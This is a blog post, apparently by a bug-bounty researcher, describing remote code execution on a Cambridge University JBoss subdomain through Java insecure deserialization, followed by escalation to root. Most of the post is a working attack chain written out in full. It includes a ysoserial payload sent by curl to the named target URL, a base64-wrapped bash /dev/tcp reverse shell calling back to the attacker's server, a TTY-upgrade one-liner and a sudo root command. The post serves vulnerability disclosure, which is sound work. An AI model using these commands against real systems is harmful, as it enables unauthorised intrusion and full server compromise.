This post is about how I was able to execute code and escalate to root on Cambridge University by exploiting an insecure deserialization vulnerability and sudo, leading to my first RCE vulnerability.

Identifying Vulnerable functions #

I discovered a subdomain running an outdated version of JBoss, and noticed ObjectInputStream present in the page, along with other Java read functions.

ObjectInputStream is a Java class used to convert serialized objects to valid Java objects that can be executed. This caught my attention, so I decided to test the domain for serialization attacks, which I learned from PentesterLab.

Confirming the Vulnerability #

I started crafting my payload using ysoserial, but no commands seemed to execute. This is because I was using Burp Suite to send the request with the serialized object, and Burp Suite might have encoded some characters in my request. Luckily, curl did not have this issue. To confirm the RCE, I used the command:

java -jar ysoserial-0.0.4.jar CommonsCollections1 "ping <VPS-IP>" | curl -v --data-binary @- https://datashop-uat.cambridge.org/invoker/readonly/

Reverse Shell #

Pinging my own server had little impact, so I wanted to escalate this vulnerability further with a reverse shell.

1. I first started a netcat listener on port 4444 in my VPS:

nc -lvnp 4444

2. I entered the command:

export PAYLOAD=$(echo "bash -i >& /dev/tcp/<VPS-IP>/4444 0>&1" | base64 -w0); java -jar ysoserial-0.0.4.jar CommonsCollections1 "/bin/bash -c {/bin/echo,$PAYLOAD}|{/usr/bin/base64,-d}|{/bin/bash,-i}" | curl --data-binary @- https://datashop-uat.cambridge.org/invoker/readonly/

In the command above, I first construct a TCP reverse shell, base64 encode it due to special characters, used ysoserial to generate the serialized object with the exported payload variable, and finally sent the serialized object to the target using curl.

Since the Cambridge CSIRT did not have a VPS and struggled to replicate the RCE, I quickly learned how to use Ngrok in just 10 minutes. Ngrok is a great free alternative in such scenarios. I then filmed a short video demonstrating the RCE without relying on a VPS:

3. Once I received the shell, I decided to improve it:

python3 -c 'import pty, os; os.environ["TERM"] = "xterm"; pty.spawn("/bin/bash")'
(Press CTRL + Z to return to your local shell)
stty raw -echo;fg
[Enter]

4. I created a file called jessar.txt as proof of the RCE:

touch jessar.txt

Privilege Escalation #

I wasn’t planning on becoming root at all. However, I used the sudo binary when adding text to the “jessar.txt” file because I tend to use sudo, but something seemed off.

I was not prompted for a password, nor did I get an error, indicating that my user has sudo privileges. This means that the user can run commands as root via the sudo binary.

I searched for the sudo binary in GTFOBins and entered the command below to gain the highest privileges in the system:

sudo sudo /bin/sh

I was happy that I had discovered my first RCE, and managed to escalate all the way to the root user.

Conclusion #

This wraps up my journey with securing vulnerability disclosure programs.

Cambridge’s unprofessional behavior and lack of skill to replicate the RCE I reported made them refuse to acknowledge my critical finding in their program, which I find exploitative.

This experience made me realize that hunting on VDPs is no longer worth my time. Instead, I want to focus on other priorities, such as working toward the HTB CPTS certification, bug bounties whenever time allows, and earning my motorbike license.